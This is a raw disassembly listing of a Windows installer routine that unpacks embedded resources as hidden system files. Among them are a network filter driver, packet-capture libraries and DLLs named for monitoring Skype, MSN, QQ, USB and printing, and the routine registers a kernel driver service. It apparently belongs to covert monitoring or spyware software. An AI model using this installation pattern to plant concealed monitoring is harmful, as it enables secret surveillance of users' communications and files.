lea edx, [esp + 0x2c]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x18
call fcn.004062fc
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0xaa4], 0x19
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xbf
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x402aa4
push 0x10
push 0x409bdc
push 0x409ca8
jmp 0x402b43
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x402acc
push 0x10
push 0x409bd4
push 0x409ca8
jmp 0x402b43
mov eax, dword [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402b37
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x402b18
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x2c]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x402afa
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x402c68
push 0x10
push 0x409bcc
push 0x409b98
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
lea eax, [esp + 0x10]
push str.passthru.sys
lea ecx, [esp + 0x2c]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x1a
call fcn.004062fc
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0xaa4], 0x1b
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xb6
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x402bd3
push 0x10
push 0x409b90
push 0x409ca8
jmp 0x405639
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x402bfe
push 0x10
push 0x409b88
push 0x409ca8
jmp 0x405639
mov edx, dword [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40562d
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x402c4e
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x2c]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x402c30
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x10]
push str._netsf_m.inf
lea eax, [esp + 0x2c]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x1c
call fcn.004062fc
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0xaa4], 0x1d
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xb5
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x402ce5
push 0x10
push 0x409b70
push 0x409ca8
jmp 0x405618
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x402d10
push 0x10
push 0x409b68
push 0x409ca8
jmp 0x405618
mov ecx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40560c
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x402d5d
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x2c]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x402d3f
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
push str._netsf.inf
lea edx, [esp + 0x2c]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x1e
call fcn.004062fc
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0xaa4], 0x1f
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xb4
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x402df4
push 0x10
push 0x409b54
push 0x409ca8
jmp 0x4055f7
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x402e1f
push 0x10
push 0x409b4c
push 0x409ca8
jmp 0x4055f7
mov eax, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4055eb
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x402e6c
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x2c]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x402e4e
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x10]
push str._ndisctrl.exe
lea ecx, [esp + 0x2c]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x20
call fcn.004062fc
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0xaa4], 0x21
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xb3
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x402f03
push 0x10
push 0x409b44
push 0x409ca8
jmp 0x4055d6
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x402f2e
push 0x10
push 0x409b3c
push 0x409ca8
jmp 0x4055d6
mov edx, dword [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4055ca
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x402f7e
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x2c]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x402f60
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
push 1
push 0xdc
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x28], esp
lea eax, [esp + 0x20]
push str.com1SkypeMM.dll
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405651
push 1
push 0xd8
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
lea edx, [esp + 0x20]
push str.com1MSNMsg.dll
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405651
lea eax, [esp + 0x10]
push str.com1PrinterHelp.dll
lea ecx, [esp + 0x1c]
push eax
push ecx
call sub.MFC42.DLL_operator
mov eax, dword [eax]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push eax
call edi
cmp eax, 0xffffffff
lea ecx, [esp + 0x18]
setne bl
call sub.MFC42.DLL_CString::CString
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
test bl, bl
je 0x4030ab
xor ebx, ebx
mov edx, dword [esp + 0x10]
push ebx
push edx
lea eax, [esp + 0x1f8]
push str._scom1PtrHelp_d.dll
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x1f0]
push ecx
call edi
cmp eax, 0xffffffff
je 0x40307d
lea edx, [esp + 0x1f0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40307d
inc ebx
cmp ebx, 0x3e8
jl 0x40303b
lea eax, [esp + 0x10]
push str.com1PrinterHelp.dll
lea ecx, [esp + 0x1c]
push eax
push ecx
call sub.MFC42.DLL_operator
mov eax, dword [eax]
lea edx, [esp + 0x1f0]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString
xor ebx, ebx
mov eax, dword [esp + 0x10]
push ebx
push eax
lea ecx, [esp + 0x694]
push str._sPtrHelp_d.dll
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0x68c]
push edx
call edi
cmp eax, 0xffffffff
je 0x4030ef
lea eax, [esp + 0x68c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4030ef
inc ebx
cmp ebx, 0x3e8
jl 0x4030ad
lea ecx, [esp + 0x10]
push str.PrinterHelp.dll
lea edx, [esp + 0x1c]
push ecx
push edx
call sub.MFC42.DLL_operator
mov eax, dword [eax]
lea ecx, [esp + 0x68c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString
push 1
push 0xda
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x28], esp
lea eax, [esp + 0x20]
push str.com1QQFileMon.dll
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405651
push 1
push 0xdb
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
lea edx, [esp + 0x20]
push str.com1QQM.dll
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405651
push 1
push pe_nt_image_headers32
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x28], esp
lea ecx, [esp + 0x20]
push str.com1Prints.dll
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405651
push 1
push 0xef
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x28], esp
lea eax, [esp + 0x20]
push str.hrjdcachePrintInfo.xml
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405651
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
je 0x40323e
push 0xf01ff
push str.hrjdfile0011
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x403237
lea ecx, [esp + 0x3c]
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
call ebx
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
call ebx
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 1
push 0xd6
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x28], esp
lea eax, [esp + 0x20]
push str.com1FileMon.sys
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405651
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x4032fc
lea ecx, [esp + 0x10]
push str.com1FileMon.sys
lea edx, [esp + 0x1c]
push ecx
push edx
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push 0
push 0
push 0
push 0
push 0
push eax
push 1
push 2
push 1
push 0xf01ff
push str.hrjdfile0011
push str.hrjdfile0011
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
lea ecx, [esp + 0x18]
mov edi, eax
call sub.MFC42.DLL_CString::CString
call ebx
test eax, eax
je 0x4032ed
cmp eax, 0x431
jne 0x4032ed
push 0xf01ff
push str.hrjdfile0011
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x4032fc
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 1
push 0x8b
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x28], esp
lea ecx, [esp + 0x20]
push str.drivers_npf.sys
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405651
push 1
push 0x8c
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x28], esp
lea eax, [esp + 0x20]
push str.Packet.dll
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405651
push 1
push 0x8d
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
lea edx, [esp + 0x20]
push str.pthreadVC.dll
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405651
push 1
push 0x90
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x28], esp
lea ecx, [esp + 0x20]
push str.WanPacket.dll
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405651
push 1
push 0x91
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x28], esp
lea eax, [esp + 0x20]
push str.wpcap.dll
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405651
lea ecx, [esp + 0x10]
push str.com1MutiScreen.dll
lea edx, [esp + 0x2c]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x22
call fcn.004062fc
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0xaa4], 0x23
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xd1
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40346e
push 0x10
push 0x409a00
push 0x409ca8
jmp 0x4055b2
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x403499
push 0x10
push 0x4099f8
push 0x409ca8
jmp 0x4055b2
mov eax, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4055a6
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x4034e6
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x2c]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x4034c8
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x10]
push str.com1USBDLL.dll
lea ecx, [esp + 0x2c]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x24
call fcn.004062fc
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0xaa4], 0x25
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xd4
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40357d
push 0x10
push 0x4099dc
push 0x409ca8
jmp 0x40558e
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x4035a8
push 0x10
push 0x4099d4
push 0x409ca8
jmp 0x40558e
mov edx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405582
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x4035f5
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x2c]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x4035d7
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x10]
push str.mslca.mdb
lea eax, [esp + 0x2c]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x26
call fcn.004062fc
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0xaa4], 0x27
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xd3
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40368c
push 0x10
push 0x4099c0
push 0x409ca8
jmp 0x40556a
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x4036b7
push 0x10
push 0x4099b8
push 0x409ca8
jmp 0x40556a
mov ecx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40555e
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x403704
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x2c]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x4036e6
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
push str.com1hruser.exe
lea edx, [esp + 0x1c]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x28
call fcn.004062fc
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0xaa4], 0x29
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x85
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40379b
push 0x10
push 0x4099b0
push 0x409ca8
jmp 0x405546
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x4037c6
push 0x10
push 0x4099a8
push 0x409ca8
jmp 0x405546
mov eax, dword [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40553a
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x403816
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x2c]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x4037f8
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x10]
push str.com1docedcs.dll
lea ecx, [esp + 0x1c]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x2a
call fcn.004062fc
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 0x29
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x97
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40388b
push 0x10
push 0x40998c
push 0x409ca8
jmp 0x405546
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x4038b6
push 0x10
push 0x409984
push 0x409ca8
jmp 0x405546
mov edx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405516
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x403903
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x2c]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x4038e5
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x10]
push str.com1docsafe.dll
lea eax, [esp + 0x1c]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x2b
call fcn.004062fc
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 0x29
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x98
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x403978
push 0x10
push 0x409968
push 0x409ca8
jmp 0x405546
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x4039a3
push 0x10
push 0x409960
push 0x409ca8
jmp 0x405546
mov ecx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4054f2
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x4039f0
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x2c]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x4039d2
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
push str.com1docsecbase.dll
lea edx, [esp + 0x1c]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x2c
call fcn.004062fc
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 0x29
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x99
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x403a65
push 0x10
push 0x409940
push 0x409ca8
jmp 0x405546
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x403a90
push 0x10
push 0x409938
push 0x409ca8
jmp 0x405546
mov eax, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4054ce
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x403add
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x2c]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x403abf
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x10]
push 0x409934
lea ecx, [esp + 0x2c]
push eax
push ecx
call sub.MFC42.DLL_operator
push str.gdiplus.dll
lea edx, [esp + 0x1c]
mov bl, 0x2d
push eax
push edx
mov byte [esp + 0xab0], bl
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x2e
call fcn.004062fc
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 0x29
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x14]
push 0
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
test eax, eax
je 0x403c19
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x87
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x403b93
push 0x10
push 0x409920
push 0x409904
jmp 0x405546
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x403bbe
push 0x10
push 0x4098fc
push 0x409ca8
jmp 0x405546
mov ecx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x403c80
test ebx, ebx
mov esi, ebx
